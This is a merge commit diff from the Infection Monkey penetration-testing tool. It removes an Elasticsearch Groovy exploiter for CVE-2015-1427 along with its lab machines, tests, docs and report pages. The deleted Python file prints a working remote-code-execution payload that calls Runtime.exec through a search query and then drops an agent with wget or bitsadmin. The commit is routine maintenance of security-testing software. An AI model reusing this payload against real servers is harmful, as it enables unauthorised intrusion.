Merge pull request #1744 from guardicore/1732-remove-elasticsearch

Remove ElasticGroovyExploiter
This commit is contained in:
Mike Salvatore 2022-02-24 09:05:09 -05:00 committed by GitHub
commit 0a7637c944
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
27 changed files with 8 additions and 341 deletions

View File

@ -46,6 +46,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- Agent bootloader. #1676
- Zero Trust integration with ScoutSuite. #1669
- ShellShock exploiter. #1733
- ElasticGroovy exploiter. #1732
### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545

View File

@ -47,7 +47,7 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* SMB
* WMI
* Log4Shell
* Elastic Search (CVE-2015-1427)
* Zerologon
* Weblogic server
* and more, see our [Documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/) for more information about our RCE exploiters.

View File

@ -1,13 +0,0 @@
---
title: "ElasticGroovy"
date: 2020-07-14T08:41:40+03:00
draft: false
tags: ["exploit", "windows", "linux"]
---
### Description
CVE-2015-1427
> The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x (before 1.4.3) allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.
The logic is based on the [Metasploit module](https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb).

View File

@ -1,20 +0,0 @@
from copy import copy
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
class Elastic(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
config_values.update(
{
"basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"],
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"],
"basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"],
"basic_network.scope.depth": 1,
"internal.network.tcp_scanner.HTTP_PORTS": [9200],
"internal.network.tcp_scanner.tcp_target_ports": [],
}
)

View File

@ -16,7 +16,6 @@ class Performance(ConfigTemplate):
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",

View File

@ -2,8 +2,6 @@ GCP_TEST_MACHINE_LIST = {
"europe-west3-a": [
"sshkeys-11",
"sshkeys-12",
"elastic-4",
"elastic-5",
"hadoop-2",
"hadoop-3",
"mssql-16",

View File

@ -9,7 +9,6 @@ from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import Communicat
from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
@ -190,9 +189,6 @@ class TestMonkeyBlackbox:
def test_drupal_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(island_client, Drupal, "Drupal_exploiter")
def test_elastic_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(island_client, Elastic, "Elastic_exploiter")
def test_struts_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Struts2_exploiter")
@ -256,7 +252,7 @@ class TestMonkeyBlackbox:
)
def test_report_generation_performance(self, island_client, quick_performance_tests):
"""
This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test
This test includes the SSH + Hadoop + MSSQL machines all in one test
for a total of 8 machines including the Monkey Island.
Is has 2 analyzers - the regular one which checks all the Monkeys

View File

@ -4,7 +4,6 @@ from typing import Type
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
@ -39,7 +38,6 @@ island_client = MonkeyIslandClient(args.island_ip)
CONFIG_TEMPLATES = [
Elastic,
Hadoop,
Mssql,
Performance,

View File

@ -9,8 +9,6 @@ This document describes Infection Monkeys test network, how to deploy and use
[Machines](#machines)<br>
[Nr. 2 Hadoop](#_Toc526517182)<br>
[Nr. 3 Hadoop](#_Toc526517183)<br>
[Nr. 4 Elastic](#_Toc526517184)<br>
[Nr. 5 Elastic](#_Toc526517185)<br>
[Nr. 9 Tunneling M1](#_Toc536021462)<br>
[Nr. 10 Tunneling M2](#_Toc536021463)<br>
[Nr. 11 SSH key steal](#_Toc526517190)<br>
@ -251,80 +249,6 @@ Update all requirements using deployment script:<br>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc526517184" class="anchor"></span>Nr. <strong>4</strong> Elastic</p>
<p>(10.2.2.4)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td><p>JDK,</p>
<p><a href="https://www.elastic.co/downloads/past-releases/elasticsearch-1-4-2">Elastic 1.4.2</a></p></td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>9200</td>
</tr>
<tr class="even">
<td>Servers config:</td>
<td>Default</td>
</tr>
<tr class="odd">
<td>Scan results:</td>
<td>Machine exploited using Elastic exploiter</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td><a href="https://www.elastic.co/guide/en/elasticsearch/reference/1.4/_index_and_query_a_document.html">Quick</a> tutorial on how to add entries (was useful when setting up).</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc526517185" class="anchor"></span>Nr. <strong>5</strong> Elastic</p>
<p>(10.2.2.5)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows 10 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td><p>JDK,</p>
<p><a href="https://www.elastic.co/downloads/past-releases/elasticsearch-1-4-2">Elastic 1.4.2</a></p></td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>9200</td>
</tr>
<tr class="even">
<td>Servers config:</td>
<td>Default</td>
</tr>
<tr class="odd">
<td>Scan results:</td>
<td>Machine exploited using Elastic exploiter</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td><a href="https://www.elastic.co/guide/en/elasticsearch/reference/1.4/_index_and_query_a_document.html">Quick</a> tutorial on how to add entries (was useful when setting up).</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">

View File

@ -7,14 +7,6 @@ data "google_compute_image" "hadoop-3" {
name = "hadoop-3"
project = local.monkeyzoo_project
}
data "google_compute_image" "elastic-4" {
name = "elastic-4"
project = local.monkeyzoo_project
}
data "google_compute_image" "elastic-5" {
name = "elastic-5"
project = local.monkeyzoo_project
}
data "google_compute_image" "tunneling-9" {
name = "tunneling-9"
project = local.monkeyzoo_project

View File

@ -76,36 +76,6 @@ resource "google_compute_instance_from_template" "hadoop-3" {
}
}
resource "google_compute_instance_from_template" "elastic-4" {
name = "${local.resource_prefix}elastic-4"
source_instance_template = local.default_ubuntu
boot_disk{
initialize_params {
image = data.google_compute_image.elastic-4.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.4"
}
}
resource "google_compute_instance_from_template" "elastic-5" {
name = "${local.resource_prefix}elastic-5"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.elastic-5.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.5"
}
}
resource "google_compute_instance_from_template" "tunneling-9" {
name = "${local.resource_prefix}tunneling-9"
source_instance_template = local.default_ubuntu

View File

@ -27,7 +27,6 @@
"SSHExploiter",
"SmbExploiter",
"WmiExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",

View File

@ -1,114 +0,0 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66
/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
import json
import logging
import re
import requests
from common.common_consts.network_consts import ES_SERVICE
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import (
BITSADMIN_CMDLINE_HTTP,
CHECK_COMMAND,
CMD_PREFIX,
DOWNLOAD_TIMEOUT,
ID_STRING,
WGET_HTTP_UPLOAD,
)
from infection_monkey.network_scanning.elasticfinger import ES_PORT
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
logger = logging.getLogger(__name__)
class ElasticGroovyExploiter(WebRCE):
# attack URLs
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = (
"""{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
)
JAVA_CMD = GENERIC_QUERY % (
"""java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec("""
"""\\"%s\\").getText()"""
)
_TARGET_OS_TYPE = ["linux", "windows"]
_EXPLOITED_SERVICE = "Elastic search"
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
def get_exploit_config(self):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config["dropper"] = True
exploit_config["url_extensions"] = ["_search?pretty"]
exploit_config["upload_commands"] = {
"linux": WGET_HTTP_UPLOAD,
"windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP,
}
return exploit_config
def get_open_service_ports(self, port_list, names):
# We must append elastic port we get from elastic fingerprint module because It's not
# marked as 'http' service
valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names)
if ES_SERVICE in self.host.services:
valid_ports.append([ES_PORT, False])
return valid_ports
def exploit(self, url, command):
command = re.sub(r"\\", r"\\\\\\\\", command)
payload = self.JAVA_CMD % command
try:
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
except requests.ReadTimeout:
logger.error(
"Elastic couldn't upload monkey, because server didn't respond to upload "
"request."
)
return False
result = self.get_results(response)
if not result:
return False
return result[0]
def upload_monkey(self, url, commands=None):
result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
if "windows" in self.host.os["type"] and result:
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
return result
def get_results(self, response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp["hits"]["hits"][0]["fields"][self.MONKEY_RESULT_FIELD]
except (KeyError, IndexError):
return None
def check_if_exploitable(self, url):
# Overridden web_rce method that adds CMD prefix for windows command
try:
if "windows" in self.host.os["type"]:
resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
else:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
return True
else:
return False
except Exception as e:
logger.error("Host's exploitability check failed due to: %s" % e)
return False

View File

@ -18,7 +18,6 @@ BASIC = {
"WmiExploiter",
"SSHExploiter",
"Log4ShellExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",

View File

@ -53,15 +53,6 @@ EXPLOITER_CLASSES = {
"link": "https://www.guardicore.com/infectionmonkey/docs/reference"
"/exploiters/sshexec/",
},
{
"type": "string",
"enum": ["ElasticGroovyExploiter"],
"title": "ElasticGroovy Exploiter",
"safe": True,
"info": "CVE-2015-1427. Logic is based on Metasploit module.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters"
"/elasticgroovy/",
},
{
"type": "string",
"enum": ["Struts2Exploiter"],

View File

@ -69,7 +69,6 @@ class AWSExporter(Exporter):
CredentialType.KEY.value: AWSExporter._handle_ssh_key_issue,
},
"tunnel": AWSExporter._handle_tunnel_issue,
ExploiterDescriptorEnum.ELASTIC.value.class_name: AWSExporter._handle_elastic_issue,
ExploiterDescriptorEnum.SMB.value.class_name: {
CredentialType.PASSWORD.value: AWSExporter._handle_smb_password_issue,
CredentialType.HASH.value: AWSExporter._handle_smb_pth_issue,
@ -245,21 +244,6 @@ class AWSExporter(Exporter):
instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
def _handle_elastic_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=10,
title="Elastic Search servers are vulnerable to CVE-2015-1427",
description="Update your Elastic Search server to version 1.4.3 and up.",
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. "
"The attack was made "
"possible because the Elastic Search server was not patched "
"against CVE-2015-1427.".format(issue["machine"], issue["ip_address"]),
instance_arn=instance_arn,
instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
def _handle_island_cross_segment_issue(issue, instance_arn):

View File

@ -28,9 +28,6 @@ class ExploiterDescriptorEnum(Enum):
SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor)
WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor)
SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor)
ELASTIC = ExploiterDescriptor(
"ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor
)
STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor)
WEBLOGIC = ExploiterDescriptor(
"WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor

View File

@ -27,7 +27,6 @@ import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue
import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue';
import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue';
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue';
import {
crossSegmentIssueOverview,
@ -119,11 +118,6 @@ class ReportPageComponent extends AuthComponent {
},
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'ElasticGroovyExploiter': {
[this.issueContentTypes.OVERVIEW]: elasticIssueOverview,
[this.issueContentTypes.REPORT]: elasticIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'PowerShellExploiter': {
[this.issueContentTypes.OVERVIEW]: powershellIssueOverview,
[this.issueContentTypes.REPORT]: powershellIssueReport,

View File

@ -1,23 +0,0 @@
import React from 'react';
import CollapsibleWellComponent from '../CollapsibleWell';
export function elasticIssueOverview() {
return (<li>Elasticsearch servers are vulnerable to <a
href="https://www.cvedetails.com/cve/cve-2015-1427">CVE-2015-1427</a>.
</li>)
}
export function elasticIssueReport(issue) {
return (
<>
Update your Elastic Search server to version 1.4.3 and up.
<CollapsibleWellComponent>
The machine <span className="badge badge-primary">{issue.machine}</span> (<span
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to an <span
className="badge badge-danger">Elastic Groovy</span> attack.
<br/>
The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.
</CollapsibleWellComponent>
</>
);
}

View File

@ -54,7 +54,6 @@
],
"vulnerability": [
{"name": "DrupalExploiter"},
{"name": "ElasticGroovyExploiter"},
{"name": "HadoopExploiter"},
{"name": "ShellShockExploiter"},
{"name": "Struts2Exploiter"},

View File

@ -52,7 +52,6 @@
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"ZerologonExploiter",
"WebLogicExploiter",

View File

@ -5,7 +5,6 @@
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",

View File

@ -27,9 +27,9 @@ SCAN_DATA_MOCK = [
EXPLOIT_DATA_MOCK = [
{
"result": True,
"exploiter": "ElasticGroovyExploiter",
"exploiter": "ZerologonExploiter",
"info": {
"display_name": "Elastic search",
"display_name": "Zerologon",
"started": "2020-05-11T08:59:38.105Z",
"finished": "2020-05-11T08:59:38.106Z",
"vulnerable_urls": [],

View File

@ -11,7 +11,7 @@ from monkey_island.cc.services.reporting.exploitations.monkey_exploitation impor
def test_get_exploits_used_on_node__2_exploits():
exploits = get_exploits_used_on_node(NODE_DICT)
assert sorted(exploits) == sorted(["Elastic Groovy Exploiter", "Drupal Server Exploiter"])
assert sorted(exploits) == sorted(["Zerologon Exploiter", "Drupal Server Exploiter"])
def test_get_exploits_used_on_node__duplicate_exploits():

View File

@ -110,9 +110,9 @@ NODE_DICT = {
},
{
"exploitation_result": True,
"exploiter": "ElasticGroovyExploiter",
"exploiter": "ZerologonExploiter",
"info": {
"display_name": "Elastic search",
"display_name": "Zerologon",
"started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000),
"finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000),
"vulnerable_urls": [],

View File

@ -186,7 +186,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
],
"vulnerability": [
{"name": "DrupalExploiter", "options": {}},
{"name": "ElasticGroovyExploiter", "options": {}},
{"name": "HadoopExploiter", "options": {}},
{"name": "Struts2Exploiter", "options": {}},
{"name": "WebLogicExploiter", "options": {}},

View File

@ -56,7 +56,6 @@ credential_type # unused variable (monkey/monkey_island/cc/services/reporting/i
password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23)
SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30)
SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31)
ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32)
STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39)
WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40)
HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43)